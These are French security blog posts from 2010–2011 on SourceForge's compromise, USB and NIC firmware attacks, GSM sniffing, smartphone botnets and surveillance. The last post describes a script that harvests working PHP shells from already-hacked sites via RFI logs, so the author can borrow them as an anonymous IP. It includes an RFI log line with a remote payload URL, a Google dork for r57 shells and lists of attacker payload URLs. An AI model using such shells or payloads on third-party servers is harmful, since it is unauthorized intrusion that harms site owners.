Et l'équipe de sourceforge mentionne que leurs admins continuent de travailler sur l'incident et qu'ils communiqueront plus tard sur les impacts et causes de cette attaque. D'ailleurs, j'ai reçu un email ce matin m'enjoignant à changer mon mot de passe sourceforge "and so we are resetting all passwords in the sf.net database -- just in case"

Je ne suis pas très rassuré sur cette histoire. J'ai téléchargé quantité de logiciels sur sourceforge et une compromission de cette plateforme aurait un impact énorme. Et je suis inquiet lorsque je vois cette timeline:

Le 19 mai 2010 une faille touche le BBcode php.
Le 31 décembre 2010, l'article Owned and Exposed réussi à écraser la base de données d'Ettercap basée chez sourceforge..
Un chercheur en sécurité s'interroge sur la manière dont ettercap s'est fait hacker. Il y a quelque temps, il étudiait les logs IRC d'un serveur de C&C d'un botnet. Sourceforge était mentionné comme embarquant une version de logiciel vulnérable à la faille BBCode php... Nous sommes fin décembre 2010.
le 22 janvier 2011, soit un mois plus tard il constate que la faille est toujours présente. (Note aux "dragons" pour ceux qui comprendront...)
Le 24 janvier il poste l'info sur la liste full disclosure.
Le 27 janvier, sourceforge indique qu'ils passent en downtime...

On peut lire cette timeline comme on le souhaite, mais à mon avis il faut considérer tout logiciel téléchargé chez sourceforge depuis mai 2010 comme potentiellement trojanisé et ça, ce n'est vraiment pas une bonne nouvelle :(

Le mail de ce matin ne fait que confirmer cette sensation désagréable.. On resette tous les mots de passe, il y a eu des "evidence of password sniffing attempts".
J'attends le prochain update de sourceforge pour voir jusqu'à quel point ils ont été touchés. J'ai envoyé quelques mails à certains projets pour demander des avis sur l'état des sources. Wait end See.

USB m'a tuer

2011-01-21T15:56:00.003+01:00

L'USB est une prise et un protocole de communication largement répandue qui se fait attaquer. Cette prise permet de connecter à peu près n'importe quel équipement à n'importe quel système (OS grands publics, ou smartphones).

La conférence blackhat propose deux conférences intéressantes ou l'USB permet de prendre le contrôle de machines. La première, de Jon Larimer intitulée "Beyond AutoRun: Exploiting software vulnerabilities with removable storage". Cela parle de Stuxnet (encore une fois), mais présente un moyen de délocker un poste linux verrouillé. Morceau choisi: "There’s a lot of code that runs between the USB drivers themselves and the desktop software that renders icons and thumbnails for documents, providing security researchers and hackers with a rich set of targets to exploit.". A suivre, donc.
Une seconde conférence propose un moyen original de prendre le contrôle de votre machine via l'USB et un smartphone piégé. Conférence de "Angelos Stavrou, Zhaohui Wang", "Exploiting Smart-Phone USB Connectivity For Fun And Profit". L'idée est originale et assez efficace. Il faut savoir que lors de la connexion à la prise USB, les périphériques se font reconnaître, comme support de stockage, hub USB, clavier, etc... Rien n'empêche un périphérique de se faire passer pour une souris et un clavier afin de pouvoir agir directement sur la session de l'attaqué! Sous windows, il y a une courte infobulle informant de l'ajout de ces périphériques, sous Mac un pop-up apparaît, mais il est possible pour l'attaquant de le fermer, et sous linux, il n'y a aucun warning[1]. Owned!

On constate de plus que le laboratoire SOGETI/ESEC recrute (entre autre) un stagiaire pour : "Malicious hardware and USB: the purpose is to study the USB protocol and use it on a device (e.g. FPGA) to compromise a target host (Windows, MacOS X, Linux, iOS, Android)". On imagine facilement l'idée derrière, obtenir un périphérique capable de fournir des réponses choisies (malicieuses) lors de la discussion USB qui s'instaure à la connexion de ce périphérique.

L'USB est déjà un vecteur d'insécurité largement généralisé du fait des infections par clés USB qui permettent de transporter les virus. Mais une nouvelle famille de failles est peut-être encore à découvrir, attaquant directement le protocole USB lui-même.

[1] Ceci dit, le magazine MISC n°50 proposait un article implémentant un pare-feu USB sous linux.

Les posts auxquels vous avez échappé

2011-01-19T13:17:00.002+01:00

Bloguer demande une rigueur d'écriture et certains billets ne sont donc pas publiés.
Les raisons en sont multiples. La principale est souvent liée au temps nécessaire à son écriture. Une bonne idée n'est pas forcément un bon article s'il n'est pas étayé par des références fiables et s'il n'a pas eu plusieurs relectures. Mais ces idées ne gagnent rien non plus à rester dans ce statut.
Voici donc une liste des posts auxquels vous avez échappés, cela videra une partie de mon stock de brouillons :)

Le plus ancien date de juin 2009, la parution de zf05 a permis de se rendre compte que l'hébergement mutualisé est un gros FAIL en terme de sécurité. En lisant ce zf05.txt on se rend compte que les personnes visés utilisaient leur hébergeur mutualisé pour héberger aussi des données privées. Un mutualisé ne devrait servir qu'a placer des données publiques comme un blog. Donc FAIL de l'hébergeur, ou FAIL de celui qui y place ses données privées?

Un autre post qui a été repris plusieurs fois concerne les tunnels DNS. On sait comment ça fonctionne, et comme tout à été à peu près dit dessus, à quoi bon revenir une fois de plus. De plus, j'ai lu http://www.daemon.be/maarten/dnstunnel.html (la page semble down en ce moment). Que dire de plus sinon paraphraser cet article? Donc brouillon, avec quantité de liens comme des tunnel DNS brokers, et autres analyses de débits de ces tunnels, etc etc..

Une analyse réseau d'une capture d'une centaine de Mo avait commencée de manière amusante car dans les premiers paquets apparaissait une recherche google sur les mots clés "on peut être féminine et poutrer du zombie" (mais qui cherche ça?).
Analyser des .pcap de cette taille, c'est long et ennuyeux, surtout que le reste de la capture était vide d'intérêt; pas de virus, pas de troyens, pas de données curieuses, rien. tshark permet facilement de réduire les données d'entrées. Je devais réordonner les one-liner tshark et les diffuser quelque part. La seule option manquante est l'extraction complète des fichiers échangés en HTTP en une passe. Wireshark permet de le faire fichier par fichier, mais apparemment rien n'existe de manière globale. Je pensais bloguer sur cette analyse, mais mis à part pour dire que la majorité des utilisateurs surfent en HTTP et que de fait firesheep a encore de beaux jours devant lui, il n'y avait hélas pas grand chose.. (et puis la sécurité réseau est ennuyeuse, alors..)

Certains messages de bluetouff m'avaient amené à creuser les questions sur le DPI en cœur de réseau opérateur. En regardant chez Orange, on apprend que ce genre d'équipement existe déjà et sert à protéger des clients de DDoS (mais ne donnait pas d'ordres de grandeur). Le dernier DDoS chiffré à l'époque de l'article était celui de wikileaks, 10Gb/s. J'en conclus donc que les équipements de DPI existent déjà, et filtrent au minimum à cette vitesse (les équipements sérieux s'entend, je ne sais pas si l7filter arrive à ce débit :) ).
Le DPI semble une notion assez mal définie ceci dit. Les firewalls ne filtraient à l'origine que des IP/port, puis sont devenus statefulls. Aujourd'hui l'analyse remonte d'un cran pour être applicative. Jusqu'où peut remonter cette analyse? Un firewall bloquant un port nuit il à la liberté d'expression plus ou moins qu'un firewall qui bloque une URL terminant en .exe? Et un firewall DPI protocolaire peut il continuer à remonter, i.e. étudier les fichiers utilisant ce protocole? Intéressant, mais il me faudrait du temps pour rassembler mes notes encore une fois.
Cet article finissait aussi sur la mort du firewall. La sécurité réseau n'intéresse personne, on pose des firewalls de la même manière qu'on pose des antivirus sur des machines windows: "Il en faut". Mais on sait très bien que ça ne bloque pas un seul instant le pirate déterminé. Alors pourquoi en mettre? Il s'agit sans doute de deux idées trop différentes pour en faire un unique post, je reviendrai peut-être la dessus.

Wikileaks devait aussi faire l'objet d'un article. Il s'agit d'un phénomène intéressant de résilience de l'information. Je voulais faire le distinguo entre la résilience d'une information et la résilience d'un service. Une information sur internet est facilement résiliente, sa duplication peut se faire à coût nul (ou négligeable) et sa diffusion peut être faite par tout un chacun, ce qui a été le cas pour wikileaks. La résilience d'un service (imaginons twitter ou facebook) est autrement plus compliquée à obtenir.
Un deuxième axe de réflexion sur wikileaks concerne bien évidemment les Denials of Service qui sont complètement sortis de la sphère "cyber" pour se propager dans le monde réel.

Voilà quelques posts qui n'ont jamais été terminé. J'aurais également souhaité rencontrer un juriste pour parler de LOPPSI2 et des intrusions informatiques "légales", mais l'emploi du temps ne me l'a pas permis.

Certains autres brouillons devraient eux se retrouver bientôt en message de blog.

Perspectives ou rétrospectives :)

2010-12-31T09:24:00.005+01:00

En ces jours de fin d'année, il est courant de lire différentes prospectives sur des sites et blogs parlant de sécurité informatique.

Mais il arrive parfois que les prospectives se révèlent vraies un peu trop vite, et c'est ce qui m'arrive. Je reprends un ancien brouillon de blog ou je préconisais l'arrivée de botnet spécialisés dans les smartphones. Apparemment, cette perspective devient rétrospective car ce botnet existe, il touche les plateformes Android et il s'appelle Geinimi. Le premier site à l'avoir analysé serait lookout. Pour moi, la sécurité des smartphones deviendra de plus en plus prégnantes.

Dans le domaine de la sécurité des smartphones, le risque qui revient systématiquement, c'est le "vol des informations personnelles", sans plus de précisions. A croire que votre score à bubble blast est ultra confidentiel. Plus sérieusement, ce risque existe, mais n'a rien de neuf puisqu'étant le même sur ordinateur qui lui aussi contient des informations personnelles. Je pense que l'on va vers de nouveaux risques avec ces botnets sur smartphones, nouveaux risques dont on entend peu parler.

Le premier est lié au téléphone et au DoS. Depuis wikileaks, on sait que les DoS ne sont plus qu'envois massifs de paquets, mais peuvent aussi être coupure des services du monde réel (banque par exemple). Comment réagir face à un botnet qui passe son temps à appeler par voie téléphonique le siège d'une entreprise?

Le second est peu ou prou lié. On observe de plus en plus de jeu ou il faut voter par SMS. Je pense que l'on va bientôt voir apparaître des services vaguement underground qui proposeront des envois massifs de SMS contre rétribution. Retour sur investissement immédiat. 10 euros les 1000 SMS afin que la star machin gagne une place au classement du jeu télé truc.

Le dernier va devenir par contre très ennuyeux. Le Near Field Communication va bientôt permettre de payer, énormément de monde montre son intêret en ce domaine.. Et lorsque votre téléphone sera trojanisé, que pourra faire un botmaster? Cela est à mon sens le plus gros risque des vers/virus/troyens et bots sur smartphones. Tous les attaquants ne sont pas uniquement ludique à la 4chan ou terroristes à la Stuxnet, certains sont bien évidemment cupides. Et là, c'est un accès direct au but. Inutile de passer par des mules avec des structures complexes, c'est du profit immédiat.

Espérons que cette perspective ne se réalisera pas, et pour 2011 have fun (and profit!) :-)

Papa, il y a la DCRI qui regarde dans mon ordinateur :-(

2010-12-08T15:30:00.006+01:00

Le journal "Le canard enchaîné" de la semaine dernière nous gratifie d'une révélation: La DCRI inspecte nos machines à distances.
L'article est bref et n'apporte que peu d'informations techniques. Selon le canard, des personnels de la DCRI demanderaient aux FAI l'adresse (IP, vraisemblablement) d'un abonné et irait faire des cyber-écoutes secrètes dans les flux de l'abonné.

Léger flou dans l'article (qu'on retrouve sur pas mal de sites de presse on-line), le mélange entre la consultation du contenu de la machine de l'abonné et la consultation de ses flux réseaux. Avec le peu d'info de l'article, je pense qu'il s'agit d'écoutes sur les flux de l'abonné et non de cyber-perquisitions du disque dur. Je crois assez peu à ces cyber-intrusions. Beaucoup trop compliqué à mettre en oeuvre, et surtout le risque de se faire détecter est sans doute trop grand en rapport des informations qui peuvent être connues.

Par contre, l'écoute des flux...
La majorité des flux sont encore en clair (HTTP, SMTP, POP, IMAP etc..). Google essaye de forcer le HTTPS, il y a des extensions firefox pour cela, mais le fait est que les gens communiquent à mon avis encore trop en clair. Anecdote, on m'a fourni une analyse tcpdump à faire, le constat est sans appel, si ce n'est google, tout est en clair. Pour cette raison également, Firesheep fait peur :-)
Le chiffré est mieux, mais n'est sans doute pas suffisant. Il y a deux ans déjà, au SSTIC, une conférence indiquait déjà que la seule connaissance des flux chiffrés permettait de retracer les réseaux sociaux de la personne visée.

Pour faire bref, si vous avez connaissance des flux d'une personne, il est en effet inutile de tenter une cyber-intrusion. Et si les FAIs fournissent un accès à ce trafic, alors headshot, comme disent les gamers.

A partir du moment ou l'infrastructure n'est pas de confiance, comment communiquer sereinement sur le réseau?

Une réponse légale? Semble difficile. Un juriste m'a confirmé qu'une écoute réseau n'a rien à voir avec la loi sur les écoutes téléphoniques. Il m'a conseillé de vérifier ce qu'en dit la LOPPSI. Cet aspect serait à creuser: un prochain post de blog?
Néanmoins, il faudrait pouvoir prouver que l'écoute à bien lieu. Et là, techniquement, j'ai du mal à imaginer comment prouver qu'un flux est mis sur écoute. Il est possible de planter des fausses URL ou des faux noms de domaines et d'attendre voir si des connexions sont faites. Est-ce toutefois une preuve recevable?

En défense active, il existe tor. Mais tor lancé de chez soi est exposé au même problème que précedemment, i.e. quelqu'un consultant les émissions/réceptions pourrait reconstruire certains volumes de connexions, à corréler avec la réception chez d'autre personne. Il faut que tor envoie des flux arbitraires d'informations afin que ses propres connexions soient noyées en volume à l'intérieur. Pour se faire, on peut se transformer en exit node ou faire tourner des services qui discutent fréquemment sur le réseau; à ce titre, je laisse des clients IRC ouverts car ils génèrent du trafic sur le réseau.
L'autre solution est d'utiliser tor depuis un cybercafé qui permet ce genre de choses, ou de trouver des spots wifi ouverts en grand.

Il y a peut-être un truc à inventer, à l'image de la plausible deniability sur le chiffrement de disque, qui serait la plausible deniability en réseau; i.e. qu'un attaquant soit incapable de prouver qu'une communication réseau ait eu lieu.

All your NIC belong to us

2010-11-24T14:42:00.005+01:00

Je viens de lire le compte rendu d'une excellente présentation faite par le labo SOGETI/ESEC. Cette présentation concerne l'instrumentation à des fins malicieuses d'une carte réseau: Hack.lu-nicreverse_slides.pdf.

L'idée est simple et lumineuse: dans une carte réseau, nous avons de l'électronique, dit autrement un CPU et de la mémoire, est il possible de l'instrumenter pour lui faire réaliser des actions arbitraires? La réponse est oui, ce qui est préoccupant. Ce travail est bien évidemment à rapprocher de celui-ci: "Can you still trust your network card?", de Y-A Perez, L. Duﬂot, CanSecWest 2010.

La carte visée est une Broadcam Ethernet Netxtreme, présente dans de nombreuses machines de bureaux et portables. Sont présents un (ou deux) CPU Mips, une EEPROM, de la SDRAM et
des registres de configuration. Étant reprogrammable, c'est bien évidemment l'EEPROM qui sert à accueillir le code malveillant. 48ko sont disponibles partageant le code, la stack et le buffer de trames réseaux. L'auteur va donc reprogrammer un firmware "custom" pour cette carte.

Pour un attaquant, la situation est idéale:

Le code ne sera jamais ausculté par un antivirus/ antirootkit
Le code peut survivre à un reboot
Le code peut lire et/ou modifier tout le trafic de et à destination de l'hôte
Le code peut lancer un serveur interagissant avec l'attaquant (lire NICssh, papier très intéressant également, ne manquez pas la bibilo)
Le code est sur le bus PCI. Comme on le sait, qui dit bus PCI dit accès total et inconsidéré à la mémoire (et donc compromission de l'OS hôte en vue)
Aucune confiance ne peut être donnée à un firewall qui ausculterait les trames. En effet elles peuvent passer d'une carte réseau à l'autre sans jamais être vues par l'OS (Pensez au Jedi trick de NICssh!)
Aucune contremesure proposée par l'auteur du papier.

Néanmoins, tout n'est pas encore tout à fait terminé: Rootkit (still in development), et quelques interrogations demeurent.

Pour les capacités rootkits, c'est une évidence. Mais si le rootkit veut interagir avec le système hôte, alors un antirootkit/antivirus pourrait le détecter.
Pour les accès RAM via le bus PCI, il faut qu'aucun mécanisme d'IOMMU ne soit disponible. Ce point n'est pas abordé dans la présentation.
Pour les capacités de serveur permettant à un attaquant distant de se connecter, je veux bien croire que les programmeurs font des miracles avec 48ko, mais l'auteur de NICssh a du mettre à contribution le GPU et la RAM de la carte graphique pour parvenir à ses fins.
L'interception (et la forge) de paquets est une réalité. Toutefois, j'ose espérer que la majorité des personnes utilisent des protocoles chiffrés. La carte ne verra donc que du chiffré. Ceci permet à l'attaquant de faire des DoS, mais pas de compromettre la confidentialité des données (bien entendu, l'hôte doit avoir le mécanisme de IOMMU sinon la carte n'a qu'a aller lire la donnée en clair dans la RAM.)

Cette présentation a bien évidemment ramené à mon bon souvenir Qubes OS de Invisible Things Labs. Dans les specs de cet OS, la carte réseau est d'emblée considérée comme compromise ce qui semble être définitivement une bonne idée.

Pour l'historique, il a aussi existé un rootkit de clavier Mac (toujours le même principe, on a un firmware, un CPU et de la mémoire), NICssh utilise le GPU de la carte graphique, un autre emplacement de rootkit pourrait être le firmware d'un disque dur :-) et ksplice avait montré comment une carte PCI peut modifier le BIOS d'une machine et exécuter du code pendant le boot. La sécurité matérielle a encore des beaux jours devant elle.

Comment bâtir un schéma de sécurité sur une machine si le matériel n'est pas de confiance? (Non, je ne pense pas au TPM).

EDIT 30/11/2010:
Je suis allé directement poser la question sur le blog de l'auteur concernant l'IOMMU.
Sa réponse est disponible ici. Il fournit de plus un très bon lien vers le blog d'invisible things labs concernant les problématiques de cartes réseaux trojanisées.

sniff sniff, ça sent le GSM!

2010-10-28T18:24:00.002+02:00

C'est un fait connu, l'industrie de la sécurité se penche de plus en plus vers les smartphones (ordiphones selon l'académie) et les communications sans-fils. On entend parler que le GSM est broken, et qu'il ne faut plus l'utiliser. Est il réellement possible avec du matériel standard d'écouter des conversations GSM?

Tout d'abord, on trouve des sociétés commerciales comme par exemple celle-ci: http://www.cellularintercept.com/ Passons. En 2008, la blackhat indiquait une écoute à 900$US.

Les recherches mènent vite au logiciel airprobe:
AirProbe is the new home of the former GSM-Sniffer project. The goal is to build an air-interface analysis tool for the GSM (and possible later 3G) mobile phone standard. The prime motivation is to learn the details of the technology, help people who develop other open GSM technology (like OpenBTS, OpenMoko?, BS11/OpenBSC and others) and demonstrate the insecurity of the current standard.

La page de garde d'airprobe est bien faite et sépare le problème en trois phases:
1/ L'écoute des ondes radios. Basée entre autre sur le travail fait par GNURadio. Il s'agit bien évidemment d'une phase d'acquisition matérielle.
2/ La démodulation qui transforme ces ondes en paquets d'octets. Un PC de bureau devrait suffire, même s'il est conseillé d'utiliser des FPGA.
3/ Le déchiffrement de ces octets. Ce troisième point est donc l'information intéressante. Airprobe n'est pas intéressé par le déchiffrement real-time, seulement un déchiffrement en best effort pour montrer l'insécurité du GSM.

La seule board capable d'écouter les ondes GSM semble être l'USRP. Elle existe à deux tarifs: v1 pour 700$, v2 pour 1400$, le site d'airprobe est bien documenté la dessus. Pour la démodulation, c'est effectivement un peu flou. La page du wiki est vide... Et quant au déchiffrement, rien de bien probant non plus. La lecture du site montre que c'est en cours https://svn.berlin.ccc.de/projects/airprobe/wiki/DeCryption , sans plus; je cite:
"Our ultimate goal is to crack A5/1:
1. by only intercepting data (passiv)
2. require less than 4Terabyte HD.
3. able to decrypt short encrypted bursts (like SMS, last less than 0.1 seconds).
4. Cracking time less than 1 day. "

Donc un logiciel (libre) existe pour casser du GSM, mais il n'est pas encore terminé... Airprobe sera-t'il un jour au GSM ce que aircrack est au Wifi?

Un autre papier publié récemment, http://www.sans.edu/resources/student_projects/201004_30.pdf résume bien l'état de l'art: "There is published research that significantly reduces the level of effort to sniff on GSM cell calls. The attack is still non-trivial and does require some knowledge and resources." (ce papier a de nombreux autres liens très intéressants dans sa biblio). Pour le cassage d'A51 c'est par ici http://reflextor.com/trac/a51, avec un bon résumé.

Le résultat est donc mitigé:
Théoriquement c'est cassé, en pratique on y arrive pas encore de manière accessible...
En sécurité informatique, ce qui ne se voit pas est il inexistant? Faut il continuer de faire confiance au GSM?

High skillz obfuscator javascript !

2010-10-01T16:28:00.005+02:00

En suivant un page web, je tombe sur du javascript qui est obscurci par une méthode proprement révolutionnaire :-)

C'est entre autre une variable de plus de 60000 (soixante mille !) caractères qui ressemble à ceci:Ami lecteur, trouveras tu toi aussi la méthode d'obfuscation?

Une fois dés-obscurcie et remise en ordre, ce javascript renvoie vers un packupdate107_2121.exe qui est peu reconnu par la liste des antivirus. Kaspersky:néant. Microsoft essential: néant. Clamav: néant. 9/34 l'indiquent comme malicieux.
Je joins le rapport virustotal.

Edit: 5 octobre 2010.
La sauce prend, ça se réveille doucement. Une analyse du 2 octobre,
VirusTotal indique 19 sur 41.
Avec une autre analyse aujourd'hui, le 5 octobre, virustotal indique 30 sur 42.
Encore un effort et il devrait être détecté de partout :-)

Sécurité opérationnelle, sécurité pragmatique?

2010-09-30T19:56:00.002+02:00

Une conférence donnée à la BruCon s'intitule "You Spent All That Money And You Still Got Owned... ". Je suis particulièrement d'accord avec ce titre. Aujourd'hui ou on arrive à construire des voitures fiables, a garantir la distribution d'électricité, et les trains arrivent à l'heure [1], comment se fait-il que la sécurité informatique soit encore et toujours à la ramasse? (je ne prononcerai pas l'antienne « la sécurité est un échec, (c) News0ft ».

Qu'est ce qui peut expliquer cela? La sécurité coûte cher, certes, mais surtout, elle est contraignante! Les données informatiques sont tout de même faite pour être lues, modifiées, communiquées et partagées. La sécurité informatique est là afin d'empêcher que certaines personnes puissent lire, communiquer, modifier ou partager ces données. Bien entendu, la sécurité informatique doit savoir à qui ces données sont destinées et à qui ces données sont interdites, les protéger durant le transport et leur stockage; la chanson est connue. Présentées de cette manière on observe immédiatement l'orthogonalité du traitement.
Les informations doivent circuler, mais rester confinées. Dilemme. Au milieu de tout cela, il y a l'utilisateur pour qui la sécurité est une contrainte souvent mal vécue (allez écouter le bureau des plaintes des administrateurs systèmes qui imposent des modes drastiques concernant les mots de passes, leurs longueurs, leurs fréquences de changement etc..).

Bref, comment conjuguer sécurité et utilisabilité de l'outil informatique? Comment rendre la sécurité opérationnelle, et non pas la confiner à des laboratoires? Ne faut il pas plutôt réfléchir à une sécurité que je qualifierai de pragmatique? Point majeur à prendre en compte, l'utilisateur n'a pas à se soucier de la sécurité. Au plus la sécurité est invisible au mieux elle est utilisée et donc utile et efficace. La question se pose alors: Quelle sécurité est opérationnelle? Quelle seraient les systèmes de sécurisation pragmatiques, donc utilisés, et efficace?

Si je prends le HTTPS, c'est intéressant transparent à l'utilisateur, cela corrige des tas de problèmes, mais c'est attaqué avec plus ou moins de succès d'ailleurs. Preuve de son utilisation.
L'ASLR, le W^X les canaris, c'est complètement invisible à l'utilisateur, et ça marche. Ca bloque ceux qui veulent smasher la stack, mais ça n'empêche certes pas de continuer à faire du fun et du profit.
Le SSO, c'est très bien, ça simplifie la vie de l'utilisateur. C'est ardu à mettre en oeuvre (et pleins de chausses trappes), mais cela évite de retrouver la liste des mots de passe sur des post-it.

Peut être pourrions nous classer les produits de sécurité selon leur innocuité dans le désagrement fourni. Si c'est léger, alors c'est à creuser. Tous les systèmes de sécurité invisibles ne seront pas fiables, mais les systèmes de sécurité trop contraignants sont condamnées à ne pas être employés...

Old-school trick -- "Give me a shell, quickly!"

2010-09-13T21:54:00.002+02:00

Il y a quelques mois je parlais des méthodes de Remote File Inclusion en php, Partie 1 et Partie 2.

J'avais écrit il y a longtemps un outil qui me permettait de trouver automatiquement des scripts intéressants, entre autre des php shells fonctionnels. J'ai eu il y a peu besoin d'une IP complètement exogène, relativement anonyme pour un test. J'ai relancé l'outil qui a particulièrement bien marché. Explications.

Cet outil scanne les sites déjà piratés via RFI et vérifie le contenu de l'index ou le script RFI est placé. Il y a de grandes chances d'y trouver un php shell, comme le r57 ou le C99. Profit and have fun!
Un php shell tout ce qu'il y a de plus classique, avec une pléthore d'options délicieusement obsolète: aaah, le ftp brute force qui fleure bon les années 2000, ou l'accès a la database MilwOrm (R.I.P., aujourd'hui on a inj3ct0r ou exploit-db ).

Pourquoi utiliser ce script et pas une simple recherche google à la johnny I hack stuff comme "intitle:r57shell +uname -bbpress" ?
Simplement parceque de manière générale, les liens remontés par google sont soit déjà morts, soit des fakes, soit non fonctionnels. Le temps passé a en trouver un qui marche est trop élevé. De plus, mon outil devait permettre de remonter d'autres infos que les php shells.

Comment fonctionne cet outil?
Il utilise des sites déjà piratés. Les webmasters ont surement tous lus dans leurs logs des tentatives continues de RFI par des pirates. Ce sont ces URLs qui vont nous servir de base de travail.
Si vous êtes admin d'un site web, vous avez typiquement de logs de ce genre. Si vous n'avez pas de logs, trouvez-en. Pour cela google est particulièrement bien adapté grâce aux clés de recherche inurl: et filetype:. Une requête sur access.log et filetype:log permet de trouver pléthore de logs utilisables.

Il faut alors chercher des RFI dans ces logs, comme cette inclusion:
130.207.147.170 - - [12/Sep/2010:22:03:54 -0700] "GET /logs//index.php?option=com_log&Itemid=&mosConfig_absolute_path=http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt????? HTTP/1.1" 404 - "-" "MaMa CaSpEr" "www.faciti.com"

Dans cet exemple, l'inclusion est faite sur http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt en tentant d'abuser la variable mosConfig_absolute_path, un vieux hack de ... 2008 (!)

A la racine http://www.eroticnorthamerica.com/new//admin/classes/ rien. Il suffit d'aller voir la ligne de log suivante, trouver le RFI, aller sur le site source, vérifier son index, etc, etc..

C'est très répétitif. Or, tout ce qui est répetitif se programme très bien! J'ai donc codé à la Rache un script shell drop.sh qui suit ce process.
Mon outil prend en argument un fichier de log apache, et scanne l'ensemble des RFI. Voici une session, avec un fichier de bonne taille provenant d'une recherche google:

kevin@slackware:~/sept2010$ ./drop.sh access.log
############## LOGFILE         ##############
Le fichier de log utilisé est :access.log
############## URLSTOCK        ##############
############## ANALYSE         ##############
Le fichier fourni fait 27188 lignes.
Nous avons 211 URL contenant des fichiers d'attaques
Nous avons 179 domaines uniques contenant des fichiers d'attaques
Nous avons 134 variables utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
2013 CONFIG_EXT[ADMIN_PATH]
1040 mosConfig_absolute_path
697 option
476 dir
330 mosConfig.absolute.path
255 board
216 cropimagedir
214 reflect_base
212 myPath
209 error
Appuyez sur entrée pour continuer...

Nous avons 409 IP différentes utilisées pour attaquer
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
1984 78.46.91.40
547 222.236.47.182
188 193.13.73.251
184 74.55.95.42
172 97.74.198.126
147 201.219.3.103
138 94.136.63.119
133 209.40.100.50
117 174.121.166.146
115 194.153.188.2
Appuyez sur entrée pour continuer...

############## D/L ATTAQUES    ##############
pas de repertoire hax
Deduping eventuel des fichiers d'attaques
Test de la presence de URL-consolide ou ../URL-consolide
Downloading tous les fichiers d'attaques (prend du temps)
3s de timeout par d/l
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt  : d/l en cours : OK
http://127.0.0.1/id.txt  : d/l en cours : 404
http://127.0.0.1/r0x.txt  : d/l en cours : 404
http://1942.jp/pitbull2.txt  : d/l en cours : OK
http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt  : d/l en cours : OK
http://203.94.243.59/lib/akas1.txt  : d/l en cours : OK
http://60gp.ovh.net/~wielgoml/images/id.txt  : d/l en cours : OK
http://82.58.46.161/r0x.txt  : d/l en cours : timeout...
http://82.60.25.77/r0x.txt  : d/l en cours : timeout...
(...snip...)
http://yeshouse.mk.co.kr/education/p1.txt  : d/l en cours : timeout...
http://yeshouse.mk.co.kr/my/visual/id1.txt  : d/l en cours : OK
http://yeshouse.net/my/.injek/injek.txt  : d/l en cours : OK
http://yuioo.interfree.it/id.jpg  : d/l en cours : OK
tous les fichiers sont téléchargés
Il y a 143 fichiers récupérés
leger cleanup des noms de fichiers si besoin...
############## D/L INDEXES     ##############
Aller chercher les fichiers d'index? (o/n)o
pas de repertoire recup_index
http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/ : pas d'index
http://1942.jp/ : pas d'index
http://203.252.71.232/~edugraduate/data/file/sub3_1/ : pas d'index
recuperation de l'index de http://203.94.243.59/lib/
recuperation de l'index de http://tatan.ru/templates/default/
(...snip...)
http://yeshouse.net/my/.injek/ : pas d'index
http://yuioo.interfree.it/ : pas d'index
############## DEDUPING FILES  ##############
Il y a 143 fichiers presents dans hax/
Deduplication de fichiers...
Il y a 17 fichiers dupliques
nettoyage des duplicats...
Il reste 126 fichiers presents
voulez vous nettoyer les duplicats des indexs? (o/n)n
############## FINDING FOOD    ##############
Construction de la liste de fichiers potentiellement interessants
### recherche des fichiers contenant le mot clé :irc ###
### recherche des fichiers contenant le mot clé :wget ###
### recherche des fichiers contenant le mot clé :curl ###
### recherche des fichiers contenant le mot clé :w3m ###
### recherche des fichiers contenant le mot clé :lynx ###
### recherche des fichiers contenant le mot clé :wget http ###
### recherche des fichiers contenant le mot clé :gcc ###
### recherche des fichiers contenant le mot clé :C99 ###
Il y a  74  fichiers avec motif interessants
Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10
3 hax/feel.txt
1 hax/file.txt
1 hax/asu.php
1 hax/Jasakom.php
2 hax/head.1
1 hax/id.txt.4
7 hax/lang.txt
1 hax/myid.jpg.5
3 hax/s.txt
2 hax/vrs
Appuyez sur entrée pour continuer...
kevin@slackware:~/sept2010$

En quelques minutes et une requête google, j'ai a disposition deux php shells, asu.php et Jasakom.php parfaitements fonctionnels, la copie d'écran ci-dessus vient de là.

Je fournis l'outil à qui veut, "upon mail request". License Beerware. Pas de contreindication, pas d'utilisation prolongée sans avis médical :-)

LIMITATIONS:

C'est un script shell bash linux écrit sans grand soucis de portabilité ou de propreté du code. Pas dit que ça marche ailleurs que chez moi :)
La substantifique moelle qui est extraite dépend énormément du fichier de logs utilisé. L'expérience m'a montré qu'il faut privilégier bien évidemment les gros fichiers de logs pour maximiser les chances (voir en concaténer plusieurs), mais surtout avoir des logs récents.. La durée de vie d'un RFI est souvent faible.
Le deduping des fichiers pourrait être légèrement amélioré.
La version fournie n'utilise pas tsocks pour socksifier les téléchargements via tor, donc l'IP de la machine lançant le script va apparaitre de partout... Ceci dit, avec tor, il y a quelque fois des problèmes de timeout intempestifs.
Le download des index est parfois un peu trop long, soit que le wget récursif rapatrie le site, soit que chaque fichier fait des timeouts. Il peut donc être nécessaire de killer manuellement le wget qui patine.
Le FINDING FOOD pourrait aussi être amélioré. Selon ce que l'on cherche, des shells php ou des login/pass pour des canaux IRC de botnets ou autre chose comme des toolkits de phishing etc.. Le contenu des index est (quelquefois) riche en information et mériterait une passe plus conséquente.
Le FINDING FOOD devrait aussi aller chercher dans les php bots et autres les URL de mise à jours. Souvent il y a là-bas aussi des choses intéressantes dans les index.
Un tri automatique des RFI devrait être fait (scripts de scan, de tests, de fingerprinting et autres..) pour exploitation ultérieure.
Lorsqu'on lance plusieurs fois le script dans un intervalle de temps réduit je conseille de conserver les URL et les domaines dans le fichier [URL|domain]-consolide afin d'éviter de retélécharger plusieurs fois les mêmes fichiers.
Le script ne fournit pas d'emblée la liste des php shells fonctionnels. Il faut grepper dans les résultats après coup, ou interpréter la liste finale.

Tout ça pour quoi, finalement?
